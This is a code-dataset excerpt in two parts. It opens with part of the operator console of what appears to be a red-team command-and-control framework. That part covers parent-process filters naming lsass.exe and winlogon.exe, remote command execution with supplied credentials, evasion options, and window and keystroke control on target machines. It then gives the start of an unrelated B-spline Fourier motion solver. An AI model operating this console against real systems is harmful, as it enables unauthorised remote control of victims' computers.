names.\n Omitting the argument will clear the list.\n\n This command changes the behavior of all command based functions and will\n attempt to target a process with a name that does not match (case-insensitive)\n any in the supplied list. If none are found, all commands ran will fail\n with an error.\n\n Inverse of \"parent_include\".\n\n Examples:\n parent_exclude\n parent_exclude explorer.exe\n parent_exclude winlogon.exe,lsass.exe\n \"\"\"\n if self.filter is None:\n self.filter = Filter()\n r = _split_list(v)\n c = self.filter.exclude != r\n self.filter.exclude = r\n if c:\n print(f\"[+] Parent Filter Updated:\\n {self.filter}\")\n else:\n print(f\"[+] Parent Filter:\\n {self.filter}\")\n return c\n\n def completenames(self, n, *_):\n return make_menu(n, _MENU)\n\n def complete_help(self, n, *_):\n return make_menu(n, _MENU)\n\n def complete_evade(self, n, *_):\n return make_menu(n, _EVADE_TYPES)\n\n def do_parent_elevated(self, v):\n \"\"\"\n parent_elevated [boolean]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Set the global parent filter elevation target. A \"true\" value represents\n a process that is running in a system or high integrity. \"false\" values\n target processes that run with lower than high integrity (non-elevated).\n\n If no PID setting is used, these values will be used in combination with\n the other filter settings to find a target process.\n\n Omitting the argument will clear this filter option.\n\n This command changes the behavior of all command based functions and will\n attempt to target a process with the elevation option chosen (if set).\n If none are found, all commands ran will fail with an error.\n\n Examples:\n parent_elevated\n parent_elevated no\n parent_elevated true\n \"\"\"\n if self.filter is None:\n self.filter = Filter()\n r = None\n if len(v) > 0:\n r = is_true(v)\n c = self.filter.elevated != r\n self.filter.elevated = r\n if c:\n print(f\"[+] Parent Filter Updated:\\n {self.filter}\")\n else:\n print(f\"[+] Parent Filter:\\n {self.filter}\")\n return c\n\n def do_parent_fallback(self, v):\n \"\"\"\n parent_fallback [boolean]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Set the global parent filter fallback setting. A \"true\" value indicates\n that this parent filter can fallback to less restrictive settings if the\n first run did not find any valid targets. \"false\" values disable the\n ability for fallbacks to occur.\n\n Omitting the argument will clear this filter option.\n\n This command changes the behavior of all command based functions and\n while less restrictive on targets, this provides better protection from\n command failures if a target is not found.\n\n Examples:\n parent_fallback\n parent_fallback no\n parent_fallback true\n \"\"\"\n if self.filter is None:\n self.filter = Filter()\n r = None\n if len(v) > 0:\n r = is_true(v)\n c = self.filter.fallback != r\n self.filter.fallback = r\n del r\n if c:\n print(f\"[+] Parent Filter Updated:\\n {self.filter}\")\n else:\n print(f\"[+] Parent Filter:\\n {self.filter}\")\n return c\n\n def complete_window(self, n, *_):\n return make_menu(n, ACTIONS_WINDOW)\n\n def complete_script(self, n, *_):\n return self.shell.cache.scripts(n)\n\n def complete_wts(self, n, c, *_):\n if len(c) == 0:\n return EMPTY\n if c.count(\" \") == 1:\n return make_menu(n, ACTIONS_WTS)\n return EMPTY\n\n def complete_proxy(self, n, c, *_):\n if len(c) == 0:\n return EMPTY\n if c.count(\" \") == 3:\n return self.shell.cache.profiles(n)\n return EMPTY\n\n def complete_troll(self, n, c, *_):\n if len(c) == 0:\n return EMPTY\n if c.count(\" \") == 1:\n return make_menu(n, ACTIONS_TROLL)\n if c.count(\" \") == 2:\n return make_menu(n, _TOGGLES)\n return EMPTY\n\n def complete_funcmap(self, n, c, *_):\n if len(c) == 0:\n return EMPTY\n if c.count(\" \") == 1:\n return make_menu(n, ACTIONS_FUNCMAP)\n return EMPTY\n\n def complete_profile(self, n, c, *_):\n if c.count(\" \") == 1:\n return self.shell.cache.profiles(n)\n return EMPTY\n\n def complete_regedit(self, n, c, *_):\n if len(c) == 0:\n return EMPTY\n if c.count(\" \") == 1:\n return make_menu(n, ACTIONS_REG)\n return EMPTY\n\n def _system_filter(self, c, v, out=None):\n if not nes(v):\n return self._system(c)\n if \"/\" in v or \"\\\\\" in v or v.endswith(\".dmp\"):\n return self._system(c, out=v)\n self._system(c, out=out, filter=_quick_filter(v))\n\n def _run(self, name, detach, append, *a):\n if _is_help(a):\n return self.do_help(name)\n if len(a) == 0:\n return print(f\"{name} \")\n r = PARSERS[PARSER_RUN].parse_args(a, cat=\" \")\n if not nes(r.command):\n return print(f\"{name} \")\n if nes(r.user):\n u, d = split_user_domain(r.user, r.domain)\n p = r.pw\n else:\n u, d, p = self._user, self._domain, self._password\n i = None\n if r.file:\n if not nes(append):\n return print(f'[!] Invalid command type \"{name}\" to use \"file\" with!')\n i = r.command\n r.command = append\n elif nes(append):\n r.command = append + r.command\n self._exec(\n self.shell.cirrus.task_execute,\n cmd=r.command,\n show=self.show,\n detach=detach or r.detach,\n filter=self.filter,\n stdin=i,\n user=u,\n domain=d,\n pw=p,\n )\n del i, r, u, d, p\n\n def _system(self, c, filter=None, out=None):\n if filter is None:\n return self._exec(\n self.shell.cirrus.task_system, cmd=c, out=out, filter=self.filter\n )\n self._exec(self.shell.cirrus.task_system, cmd=c, out=out, filter=filter)\n\n def do_window(self, a, handle, arg1, arg2, arg3, arg4):\n \"\"\"\n window \n | [handle|all|*|0\n | [args..]\n\n OS: Windows\n OPsec: Safe-ish\n Admin: Maybe (depends on target)\n\n Performs an Windows window manager action. The supplied \"handle\" argument\n is optional for the \"ls\" and \"get\" calls and can be replaced with \"all\"\n (or \"0\"), which will target all top level windows currently open when the\n command executes.\n\n Window handles do not change unless the window is closed/reopened, so they\n may be reused without an additional call to \"window ls\".\n\n The following are valid actions:\n\n ls, get\n | Retrieves the list of windows to choose from. This command also retrieves\n | the window position, title and size.\n\n cl, close\n | Close the target window(s) using a WM_DESTROY message. The \"all\", \"*\"\n | or \"0\" handle may be used for this comand to select all current windows.\n\n dis, disable\n | Disables a window. This prevents the user from interacting with the\n | window itself. The \"all\", \"*\" or \"0\" handle may be used for this\n | comand to select all current windows.\n\n desktop\n | This is an alias for \"window show all minimized\" and will show the\n | user's desktop by minimizing all windows.\n\n en, enable\n | Enables a window. This allows a previously disabled window to be used\n | again after a disable command. The \"all\", \"*\" or \"0\" handle may be used\n | for this comand to select all current windows.\n\n fg, focus\n | Focuses the window and brings user input to it. This command requires\n | a handle and can only be used on a single window at a time.\n\n in, input, type\n | Simulates keystrokes in order to type the message after the action.\n | Capital and spaces are preserved. If a valid window handle is specified,\n | this will force focus of the specified window before typing.\n\n mb, msg, msgbox, message, messagebox\n | Show a MessagBox prompt as a child of the supplied window handle. A\n | handle of 0 (or using 'all') will make a standalone MessageBox.\n | Using '-1' or 'desktop' will attempt to target the current Desktop.\n |\n | The first argument is the MessageBox title, which is the only required\n | argument. The second argument is the message content and the third is\n | the dialog type, which is an int flag. Both of these are optional and\n | will default to \"\" and 0.\n |\n | The title and text options support using raw or Base64 data using\n | Data Specification Identifiers. They do not support file paths.\n |\n | See \"help data\" for more info on Data Specification Identifiers.\n\n mv, pos, move, size, resize\n | Moves the target window. This is a function that does not allow \"all\"\n | \"*\" or 0 to be specified as the target can only be a single window.\n |\n | The arguments to this command are the new X and Y position and the last\n | two arguments are the optional new width and height which if omitted,\n | will not change the window size.\n |\n | The value '-1' can also be used in place for either the 'x' and 'y' or\n | the 'width' and 'height' to ignore setting that value and leaving it\n | as the current value.\n\n sw, show\n | Sets the window visibility state. The argument to this action is the\n | visibility state. A number of a Sw* name may be used (without the \"Sw\"),\n | such as \"minimized\" or \"maximized\". The \"all\", \"*\" or \"0\" handle may\n | be used for this comand to select all current windows.\n\n tr, trans, transparent\n | Sets the transparency level of the window as an argument. This value\n | may be 0 (completely transparent) to 255 (opaque).\n |\n | This value may be specified as a percentage with \"%\" instead which\n | the level will be computed from. If no value is specified, zero\n | (transparent) is assumed.\n |\n | The \"all\", \"*\" or \"0\" handle may be used for this comand to select all\n | current windows.\n\n Examples:\n window ls\n window dis all\n window enable 6DF26\n window transparent 3763A6 50%\n window msg 0 \"Hello There!\" \"Hello World!\"\n window sw all hide\n window size 7836A -1 -1 100 500\n window mv 7483FE 10 10 -1 -1\n window pos 84A23 200 200 500 750\n \"\"\"\n if not nes(a):\n return print(\"window [handle|all|*|0] [args...]\")\n if a == \"-h\" or a == \"/?\" or a == \"--help\":\n return self.do_help(\"window\")\n self._exec(\n self.shell.cirrus.task_window,\n action=a,\n handle=handle,\n state=arg1,\n opacity=arg1,\n pos_x=arg1,\n title=arg1,\n pos_y=arg2,\n text=arg2,\n width=arg3,\n flags=arg3,\n height=arg4,\n )\n","repo_name":"iDigitalFlame/ThunderStorm","sub_path":"doppler/include/cli/bolt.py","file_name":"bolt.py","file_ext":"py","file_size_in_byte":129832,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"70"} +{"seq_id":"7242584778","text":"'''\nFile: bfSolver.py\nDescription: solving BSplinrFourier Coeficients with input bspline vector maps\n Contains externally usable class\nHistory:\n Date Programmer SAR# - Description\n ---------- ---------- ----------------------------\n Author: w.x.chan@gmail.com 25OCT2018 - Created\n Author: w.x.chan@gmail.com 06Aug2019 - v2.0.0\n -enable 2D for BC-point by point solver only\n Author: w.x.chan@gmail.com 12Sep2019 - v2.1.0\n -save Sampling results at the end of solving\n Author: w.x.chan@gmail.com 12Sep2019 - v2.2.4\n -change bfSolver.points to numpy array in loadSamplingResults\n Author: w.x.chan@gmail.com 13Nov2019 - v2.4.1\n -include mode of initial estimate with forwardbackward\n Author: w.x.chan@gmail.com 18Nov2019 - v2.4.3\n -debug initial estimate with forwardbackward (reshape Fratio)\n Author: w.x.chan@gmail.com 18Nov2019 - v2.4.4\n -change to logging\n Author: jorry.zhengyu@gmail.com 03June2020 - v2.7.11\n -add NFFT initialization to estimateInitialwithRefTime\n -add delimiter option to pointTrace\n Author: w.x.chan@gmail.com 19Jan2021 - v2.7.15\n -remove Bspline2D in addBsplineFile function (bug)\n -debug refTimeStep option in estimateInitialwithRefTime\n -auto detect timeMapList in estimateInitialwithRefTime\n Author: w.x.chan@gmail.com 08Jul2021 - v2.7.20\n -added fmt for pointTrace\n Author: w.x.chan@gmail.com 15Jul2021 - v2.8.0\n -added trimesh.repair.fix_normals for pointTrace \n\nRequirements:\n BsplineFourier\n numpy\n scipy\n nfft\n\nKnown Bug:\n None\nAll rights reserved.\n'''\n_version='2.8.0'\n\nimport logging\nlogger = logging.getLogger(__name__)\nimport numpy as np\nimport autoD as ad\nimport os\nimport sys\nsys.path.insert(0, os.path.dirname(os.path.realpath(__file__)))\nimport scipy.sparse as sparse\ntry:\n from sksparse.cholmod import cholesky\nexcept:\n pass\nfrom numpy.linalg import matrix_rank\n\ntry:\n from joblib import Parallel, delayed\nexcept ImportError:\n pass\ntry:\n import pickle\nexcept ImportError:\n pass\ntry:\n import medImgProc\nexcept:\n pass\nimport BsplineFourier\nimport multiprocessing\nimport time\nimport trimesh\nimport nfft\n\nFourierSeries_type=type(BsplineFourier.FourierSeries(1,1))\ndef estCoordsThruTime(coord,bsplineList,OrderedBsplinesList,OrderedBsplinesList2=None,mode='Lagrangian-Eulerian'):\n coordsThruTime=[coord.copy()]\n if mode=='Eulerian':\n for n in range(len(OrderedBsplinesList)):\n vector=bsplineList[OrderedBsplinesList[n]].getVector(coordsThruTime[-1])\n coordsThruTime.append(vector+coordsThruTime[-1])\n elif mode=='Lagrangian-Eulerian':\n for n in range(len(OrderedBsplinesList)):\n vector=bsplineList[OrderedBsplinesList[n]].getVector(coordsThruTime[0])\n newcoord=vector+coordsThruTime[0]\n if type(OrderedBsplinesList2)!=type(None) and n>0 and n<(len(OrderedBsplinesList)-1):\n ratio=float(n)*float(len(OrderedBsplinesList)-1-n)/((len(OrderedBsplinesList)-1)/2.)**2.\n vector2=bsplineList[OrderedBsplinesList2[n]].getVector(coordsThruTime[-1])\n newcoord=newcoord*(1.-ratio)+(ratio)*(coordsThruTime[-1]+vector2)\n coordsThruTime.append(newcoord.copy())\n else:\n raise Exception('mode selection error.')\n return coordsThruTime\ndef getCoordfromCoef(coord,coef,spacing):\n coeftemp=coef[0].copy()\n for m in range(int(coef.shape[0]/2)):#sub in t\n coeftemp=coeftemp+coef[m+1]*np.cos((m+1.)*2.*np.pi/spacing[-1]*coord[-1])+coef[int(coef.shape[0]/2)+m+1]*np.sin((m+1.)*2.*np.pi/spacing[-1]*coord[-1])\n resultDeltaCoord=coeftemp.copy()\n return resultDeltaCoord\n\ndef load(file):\n with open(file, 'rb') as input:\n outObj = pickle.load(input)\n return outObj\ndef SAC(val,cI):\n if len(val)==0:\n value=0\n elif (val.max()-val.min())<=3:\n value=val.mean()\n else:\n value=val.mean()\n bincount= np.bincount(np.around(val).astype(int))\n bincountCompressed = bincount[bincount!=0]\n totalCount=bincountCompressed.sum()\n intensityCompresed=np.nonzero(bincount)[0]\n lowerBoundInd=1\n while bincountCompressed[:lowerBoundInd].sum()<(totalCount*cI):\n lowerBoundInd+=1\n upperBoundInd=len(bincountCompressed)\n while bincountCompressed[(upperBoundInd-1):].sum()<(totalCount*cI):\n upperBoundInd-=1\n bound=np.zeros((257,4),dtype=int)\n for low in range(upperBoundInd):\n for high in range(max(low+1,lowerBoundInd),len(bincountCompressed)+1):\n width=intensityCompresed[high-1]-intensityCompresed[low]+1\n temp_sum=bincountCompressed[low:high].sum()\n if temp_sum>=(totalCount*cI):\n if temp_sum>np.abs(bound[width,0]):\n bound[width]=np.array([temp_sum,low,high,width])\n elif temp_sum==np.abs(bound[width,0]):\n bound[width]=np.array([-temp_sum,1,0,width])\n newbound=bound[bound[:,0]>0]\n if len(newbound)>0:\n for n in range(len(newbound)):\n if newbound[n,0]>np.abs(bound[:newbound[n,3],0]).max():\n high=newbound[n,2]\n low=newbound[n,1]\n value=np.sum(bincountCompressed[low:high]*intensityCompresed[low:high])/bincountCompressed[low:high].sum()\n break\n return value\n\nclass bfSolver:\n def __new__(cls, *args, **kwargs):\n return super().__new__(cls)\n def __init__(self):\n self.bsplines=[]\n self.weights=[]\n self.points=[]\n self.bsFourier=BsplineFourier.BsplineFourier()\n self.wdiag=np.ones(0)\n self.pointsCoef=[]\n self.eqn=[]\n self.eqnWeight=[]\n self.eqnToPts=[]\n def save(self,file):\n with open(file, 'wb') as output:\n pickle.dump(self, output, pickle.HIGHEST_PROTOCOL)\n def writeSamplingResults(self,filepath,delimiter=' '):\n ''' \n Write sampling results in a single-line in Fortran format\n Parameters:\n filePath:file,str\n File or filename to save to\n delimiter:str, optional\n separation between values\n '''\n saveMatrix=[]\n for n in range(len(self.points)):\n if len(self.pointsCoef)>n:\n saveMatrix.append([*self.points[n],*self.pointsCoef[n].reshape(-1, order='F')])\n else:\n saveMatrix.append([*self.points[n],*np.zeros(self.pointsCoef[0].size)])\n saveMatrix=np.array(saveMatrix)\n np.savetxt(filepath,saveMatrix,delimiter=delimiter,header=str(len(self.pointsCoef))+' points calculated-- Coordinates, Fourier uvw')\n def loadSamplingResults(self,filepath,delimiter=' '):\n ''' \n Read sampling results in a single-line in Fortran format\n Parameters:\n filePath:file,str\n File or filename to save to\n delimiter:str, optional\n separation between values\n '''\n self.points=[]\n self.pointsCoef=[]\n with open (filepath, \"r\") as myfile:\n data=myfile.readline()\n coeflen=[int(s) for s in data.split() if s.isdigit()][0]\n loadMatrix=np.loadtxt(filepath,delimiter=delimiter)\n nd=(np.abs(loadMatrix).max(axis=0)==0).argmax(axis=0)\n for n in range(len(loadMatrix)):\n self.points.append(loadMatrix[n,:nd].copy())\n if ntoTime map of bspline\n weightList:list(float), optional, defaults to 1\n Corresponding weight of bspline\n fileScale:float, optional, defaults to 1\n scale of the bsplinefile to resultant bsplinefourier\n '''\n if type(BsplineFileList)!=list:\n BsplineFileList=[BsplineFileList]\n timeMapList=[timeMapList]\n if type(weightList)!=type(None):\n weightList=[weightList]\n for n in range(len(BsplineFileList)):\n if type(weightList)!=list:\n self.weights.append(1.)\n elif len(weightList)<=n:\n self.weights.append(1.)\n else:\n self.weights.append(weightList[n])\n self.bsplines.append(BsplineFourier.Bspline(coefFile=BsplineFileList[n],shape=None,timeMap=timeMapList[n],spacing=None,fileScale=fileScale,delimiter=' ',origin=None))\n def addImgVecFile(self,imgVecFileList=None,timeMapList=None,weightList=None,fileScale=1.):\n ''' \n add (multiple) BspineFile to solver\n Parameters:\n BsplineFileList: list(file_path)\n List of Bspine File(s) to read and add to solver \n timeMapList:list([fromTime,toTime],[fromTime,toTime],...)\n Corresponding fromtime->toTime map of bspline\n weightList:list(float), optional, defaults to 1\n Corresponding weight of bspline\n fileScale:float, optional, defaults to 1\n scale of the bsplinefile to resultant bsplinefourier\n '''\n if type(imgVecFileList)!=list:\n imgVecFileList=[imgVecFileList]\n timeMapList=[timeMapList]\n if type(weightList)!=type(None):\n weightList=[weightList]\n for n in range(len(imgVecFileList)):\n if type(weightList)!=list:\n self.weights.append(1.)\n elif len(weightList)<=n:\n self.weights.append(1.)\n else:\n self.weights.append(weightList[n])\n self.bsplines.append(BsplineFourier.ImageVector(coefFile=imgVecFileList[n],timeMap=timeMapList[n],fileScale=fileScale,delimiter=' ',origin=None))\n def addBspline(self,BsplineList,weightList=None):\n ''' \n add (multiple) Bspine to solver\n Parameters:\n BsplineList: list(BsplineFourier.Bspline)\n List of Bspine to add to solver\n weightList:list(float)\n Corresponding weight of bspline\n '''\n if type(BsplineList)!=list:\n BsplineList=[BsplineList]\n for n in range(len(BsplineList)):\n if type(weightList)!=list:\n self.weights.append(1.)\n elif len(weightList)<=n:\n self.weights.append(1.)\n else:\n self.weights.append(weightList[n])\n \n self.bsplines.append(BsplineList[n])\n def addImgVec(self,imgVecList,weightList=None):\n ''' \n add (multiple) Bspine to solver\n Parameters:\n BsplineList: list(BsplineFourier.Bspline)\n List of Bspine to add to solver\n weightList:list(float)\n Corresponding weight of bspline\n '''\n if type(imgVecList)!=list:\n imgVecList=[imgVecList]\n for n in range(len(imgVecList)):\n if type(weightList)!=list:\n self.weights.append(1.)\n elif len(weightList)<=n:\n self.weights.append(1.)\n else:\n self.weights.append(weightList[n])\n \n self.bsplines.append(imgVecList[n])\n def initialize(self,shape=None,spacing=None,origin=None,period=1.,fourierTerms=3,spacingDivision=2.,gap=1):\n ''' \n Initialize the solver\n Parameters:\n shape=[x,y,z,f,uvw]: list(float)\n shape of resultant bsplineFourier\n spacing=[x,y,z,period]:list(float)\n shape of resultant bsplineFourier\n origin=[x,y,z,t]:list(float)\n shape of resultant bsplineFourier\n period:float\n Period of resultant bsplineFourier (only used if spacing is undefined)\n fourierTerms:int\n Number of fourier terms in bsplineFourier (number of cosine or sine terms) (only used if shape is undefined)\n spacingDivision:float\n sampling points density between bsplineFourier grid\n gap:int\n number of sampling points near the boundary removed (1 means that all the sampling points at the boundary are removed)\n '''\n if type(shape)!=type(None) and type(spacing)!=type(None) and type(origin)!=type(None):\n self.bsFourier.initialize(shape,spacing=spacing,origin=origin)\n elif type(self.bsFourier.coef)==type(None):\n orishape=np.array([*self.bsplines[0].coef.shape[:-1],fourierTerms*2+1,self.bsplines[0].coef.shape[-1]])\n spacing=np.array([*self.bsplines[0].spacing,period])\n origin=np.array([*self.bsplines[0].origin,0.])\n self.bsFourier.initialize(orishape,spacing=spacing,origin=origin)\n if type(shape)!=type(None):\n if self.bsFourier.coef.shape!=shape:\n self.bsFourier=self.bsFourier.reshape(shape)\n logger.info('Adjusted to:')\n logger.info(' shape= '+str(self.bsFourier.coef.shape))\n logger.info(' origin= '+str(self.bsFourier.origin))\n logger.info(' spacing= '+str(self.bsFourier.spacing))\n self.points=np.array(self.bsFourier.samplePoints(spacingDivision=spacingDivision,gap=gap))\n logger.info('Initialized with '+str(len(self.points))+'points.')\n\n \n def solve(self,tRef=None,maxError=0.00001,maxIteration=1000,convergence=0.8,method='pointbypoint',reportevery=1000,tempSave=None,resume=False,rmsBasedWeighted=None,linearConstrainPoints=[],linearConstrainWeight=None):\n ''' \n Solves for the bsplineFourier\n Parameters:\n maxError: float\n maximum change in coefficients of bsplinefourier to consider converged\n maxIteration:int\n maximum number of iterations\n convergence:float\n maximum ratio of change in coefficient to current coefficient\n method:str, optional, defaults to pointbypoint\n Period of resultant bsplineFourier (only used if spacing is undefined)\n reportevery:int\n print output to report (or save) progress every \"reportevery\" points solved\n tempSave:str\n file_path to save sampling results\n resume:int\n resume solving with results from tempSave\n rmsBasedWeighted: function, optionsl, defaults to output=input\n function to map rms error to regriding weights\n '''\n if method=='pointbypoint':\n sampleCoefList,rmsList=self.solve_pointbypoint(maxError=maxError,tRef=tRef,maxIteration=maxIteration,convergence=convergence,reportevery=reportevery,tempSave=tempSave,resume=resume)\n if type(rmsBasedWeighted)==type(None):\n rmsweight=None\n else:\n rmsweight=rmsBasedWeighted(rmsList)\n self.bsFourier.regrid(self.points,sampleCoefList,weight=rmsweight,linearConstrainPoints=linearConstrainPoints,linearConstrainWeight=linearConstrainWeight)\n logger.info('BsplineFourier updated')\n \n def solve_pointbypoint(self,tRef=None,maxError=0.00001,maxIteration=1000,convergence=0.8,reportevery=1000,tempSave=None,resume=False,movAvgError=False,lmLambda_init=0.001,lmLambda_incrRatio=5.,lmLambda_max=float('inf'),lmLambda_min=0.00001):\n ''' \n Solves for the bsplineFourier\n Parameters:\n maxError: float\n maximum change in coefficients of bsplinefourier to consider converged\n maxIteration:int\n maximum number of iterations\n convergence:float\n maximum ratio of change in coefficient to current coefficient\n method:str, optional, defaults to pointbypoint\n Period of resultant bsplineFourier (only used if spacing is undefined)\n reportevery:int\n print output to report (or save) progress every \"reportevery\" points solved\n tempSave:str\n file_path to save sampling results\n resume:int\n resume solving with results from tempSave\n movAvgError: bool\n determine whether to use moving average error instead of current error\n lmLambda_init: float\n initial Lambda value for Levenberg-Marquardt algorithm\n lmLambda_incrRatio: float\n Ratio to increase of decrease Lambda value for Levenberg-Marquardt algorithm\n lmLambda_max: float\n Maximum Lambda value for Levenberg-Marquardt algorithm\n lmLambda_min: float\n Minimum Lambda value for Levenberg-Marquardt algorithm\n '''\n wdiag=np.ones(0)\n for weight in self.weights:\n wdiag=np.concatenate((wdiag,np.ones(self.points.shape[-1])*weight),axis=0)\n rmsList=[]\n if not(resume):\n self.pointsCoef=[]\n elif type(tempSave)!=type(None):\n self.loadSamplingResults(tempSave)\n for m in range(len(self.pointsCoef),len(self.points)):\n coef=self.bsFourier.getRefCoef(self.points[m])\n coef[0]=0\n if type(tRef)!=type(None):\n coef[0]=-getCoordfromCoef(np.array([*self.points[m],tRef-self.bsFourier.origin[self.points.shape[-1]]]),coef,self.bsFourier.spacing)\n coef_start=coef.copy()\n error=float('inf')\n count=0.\n fx=[]\n pointX=[]\n for n in range(len(self.bsplines)):\n Y=getCoordfromCoef(np.array([*self.points[m],self.bsplines[n].timeMap[1]-self.bsFourier.origin[self.points.shape[-1]]]),coef,self.bsFourier.spacing)+self.points[m]\n X=getCoordfromCoef(np.array([*self.points[m],self.bsplines[n].timeMap[0]-self.bsFourier.origin[self.points.shape[-1]]]),coef,self.bsFourier.spacing)+self.points[m]\n V=np.array(self.bsplines[n].getVector(X))\n pointX.append(X.copy())\n fx.append(Y-X-V)\n fx=np.array(fx).reshape((-1,),order='C')\n rms=np.sqrt(np.mean(wdiag*fx**2.))\n rmsStart=rms\n lmLambda=lmLambda_init\n reductionRatio=1.\n if movAvgError:\n movAvgError=rms*10.\n error=rms\n while error>maxError and countself.bsFourier.spacing[:self.points.shape[-1]].min()*convergence:\n ratio=min(ratio,self.bsFourier.spacing[:self.points.shape[-1]].min()*convergence/abs(dCoef).max())\n \n \n coef_backup=coef.copy()\n fx_backup=fx.copy()\n pointX_backup=pointX.copy()\n\n coef[1:,:]+=ratio*dCoef\n coef[0]=0\n if type(tRef)!=type(None):\n coef[0]=-getCoordfromCoef(np.array([*self.points[m],tRef-self.bsFourier.origin[self.points.shape[-1]]]),coef,self.bsFourier.spacing)\n fx=[]\n pointX=[]\n for n in range(len(self.bsplines)):\n Y=getCoordfromCoef(np.array([*self.points[m],self.bsplines[n].timeMap[1]-self.bsFourier.origin[self.points.shape[-1]]]),coef,self.bsFourier.spacing)+self.points[m]\n X=getCoordfromCoef(np.array([*self.points[m],self.bsplines[n].timeMap[0]-self.bsFourier.origin[self.points.shape[-1]]]),coef,self.bsFourier.spacing)+self.points[m]\n V=np.array(self.bsplines[n].getVector(X))\n pointX.append(X.copy())\n fx.append(Y-X-V)\n fx=np.array(fx).reshape((-1,),order='C')\n deltarms=np.sqrt(np.mean(wdiag*fx**2.))-rms\n if deltarms>0.:\n coef=coef_backup.copy()\n fx=fx_backup.copy()\n pointX=pointX_backup.copy()\n #error=float('inf')\n if (lmLambda*lmLambda_incrRatio)0.9 and lmLambda!=lmLambda_min:\n if (lmLambda/np.sqrt(lmLambda_incrRatio))>lmLambda_min:\n lmLambda=lmLambda/np.sqrt(lmLambda_incrRatio)\n else:\n lmLambda=lmLambda_min\n elif reductionRatio<0.9:\n reductionRatio*=1.1\n rms=np.sqrt(np.mean(wdiag*fx**2.))\n if movAvgError:\n error=np.abs(movAvgError-rms)/movAvgError\n movAvgError=(movAvgError+rms)/2.\n count+=1\n rmsList.append(rms)\n self.pointsCoef.append(coef.copy())\n if count==maxIteration:\n logger.warning('Maximum iterations reached for point '+str(m)+' '+str(self.points[m]))\n if m%reportevery==0:\n logger.info('Solved for point '+str(m+1)+'/'+str(len(self.points))+' '+str(self.points[m])+',rms start= '+str(rmsStart)+'rms end= '+str(rms)+',max rms= '+str(max(rmsList)))\n if type(tempSave)!=type(None):\n self.writeSamplingResults(tempSave)\n if type(tempSave)!=type(None):\n self.writeSamplingResults(tempSave)\n rmsList=np.array(rmsList)\n return (self.pointsCoef,rmsList)\n def addEquation(self,equation_AD,eqnToPts=None,weight=1.):\n self.eqn.append(equation_AD)\n if type(eqnToPts)==type(None):\n eqnToPts=range(len(self.points))\n self.eqnWeight.append(weight)\n self.eqnToPts.append(eqnToPts)\n def solve_full(self,tRef=None,flexibleDescent=0,tryDirectSolve=True,minMEMuse=0,maxError=0.00001,maxIteration=1000,convergence=0.8,reportevery=1,tempSave=None,resume=False,movAvgError=False,lmLambda_init=0.001,lmLambda_incrRatio=5.,lmLambda_max=float('inf'),lmLambda_min=0.00001):\n ''' \n Solves for the bsplineFourier\n Parameters:\n maxError: float\n maximum change in coefficients of bsplinefourier to consider converged\n maxIteration:int\n maximum number of iterations\n convergence:float\n maximum ratio of change in coefficient to current coefficient\n method:str, optional, defaults to pointbypoint\n Period of resultant bsplineFourier (only used if spacing is undefined)\n reportevery:int\n print output to report (or save) progress every \"reportevery\" points solved\n tempSave:str\n file_path to save sampling results\n resume:int\n resume solving with results from tempSave\n movAvgError: bool\n determine whether to use moving average error instead of current error\n lmLambda_init: float\n initial Lambda value for Levenberg-Marquardt algorithm\n lmLambda_incrRatio: float\n Ratio to increase of decrease Lambda value for Levenberg-Marquardt algorithm\n lmLambda_max: float\n Maximum Lambda value for Levenberg-Marquardt algorithm\n lmLambda_min: float\n Minimum Lambda value for Levenberg-Marquardt algorithm\n '''\n '''\n eqn=[]\n for n in range(len(self.bsplines)):\n eqn.append([self.bsFourier.toBsplineU(self.bsplines[n])-self.bsFourier.U(tVal=self.bsplines[n].timeMap[1]),self.bsFourier.toBsplineV(self.bsplines[n])-self.bsFourier.V(tVal=self.bsplines[n].timeMap[1]),self.bsFourier.toBsplineW(self.bsplines[n])-self.bsFourier.W(tVal=self.bsplines[n].timeMap[1])])\n '''\n wdiag=np.ones(0)\n for n in range(len(self.eqn)):\n wdiag=np.concatenate((wdiag,np.ones(len(self.eqnToPts[n]))*self.eqnWeight[n]),axis=0) \n\n error=float('inf')\n\n numCoef=self.bsFourier.numCoef*3\n logger.info('Solving '+str(numCoef)+'coefficients...')\n \n fxstarmapInput=np.empty( (len(self.points),3), dtype=object)\n for m in range(len(self.points)):\n fxstarmapInput[m,0]={'x':self.points[m][0],'y':self.points[m][1],'z':self.points[m][2]}\n fxstarmapInput[m,1]={}\n fxstarmapInput[m,2]={'C':1}\n\n fx=np.zeros(0)\n for n in range(len(self.eqn)):\n '''\n if n%1==0:\n sys.stdout.write(\"\\rCalculating fx: {0:.2f}%\".format(n/len(self.eqn)*100))\n sys.stdout.flush()\n '''\n if len(self.eqnToPts[n])maxError and count0:\n #Jmat=np.empty(0,dtype=object)\n #natEq=np.zeros(0)\n Jmat=[]\n natEq=[]\n for n in range(len(self.eqn)):\n if n%1==0:\n sys.stdout.write(\"\\rCalculating dC: {0:.2f}%\".format(n/len(self.eqn)*100))\n sys.stdout.flush()\n if len(self.eqnToPts[n])0:\n logger.warning(' convergence to tolerance not achieved, number of iterations '+str(dC[1]))\n if (lmLambda*lmLambda_incrRatio)self.bsFourier.spacing[:3].min()*convergence:\n ratio=min(ratio,self.bsFourier.spacing[:3].min()*convergence/np.abs(dC).max())\n if flexiCount==0:\n coef_backup=self.bsFourier.coef.copy()\n fx_backup=fx.copy()\n self.bsFourier.coef[:,:,:,1:]+=dC*ratio\n if type(tRef)!=type(None):\n fourierX,fourierY=self.bsFourier.getdXYdC([0,tRef])\n self.bsFourier.coef[:,:,:,0,0]=-self.bsFourier.coef[:,:,:,1:,0].dot(fourierY)\n self.bsFourier.coef[:,:,:,0,1]=-self.bsFourier.coef[:,:,:,1:,1].dot(fourierY)\n self.bsFourier.coef[:,:,:,0,2]=-self.bsFourier.coef[:,:,:,1:,2].dot(fourierY)\n fx=np.zeros(0)\n for n in range(len(self.eqn)):\n if n%1==0:\n sys.stdout.write(\"\\rCalculating fx: {0:.2f}%\".format(n/len(self.eqn)*100))\n sys.stdout.flush()\n if len(self.eqnToPts[n])0. and flexiCount>=flexibleDescent:\n logger.info('Reverting back to iteration',count-flexiCount,'.')\n if flexibleDescent==0:\n recalculateJmat=False\n self.bsFourier.coef=coef_backup.copy()\n fx=fx_backup.copy()\n rms=np.sqrt(np.mean(wdiag*fx**2.))\n #error=float('inf')\n if (lmLambda*lmLambda_incrRatio)maxError and count0:\n 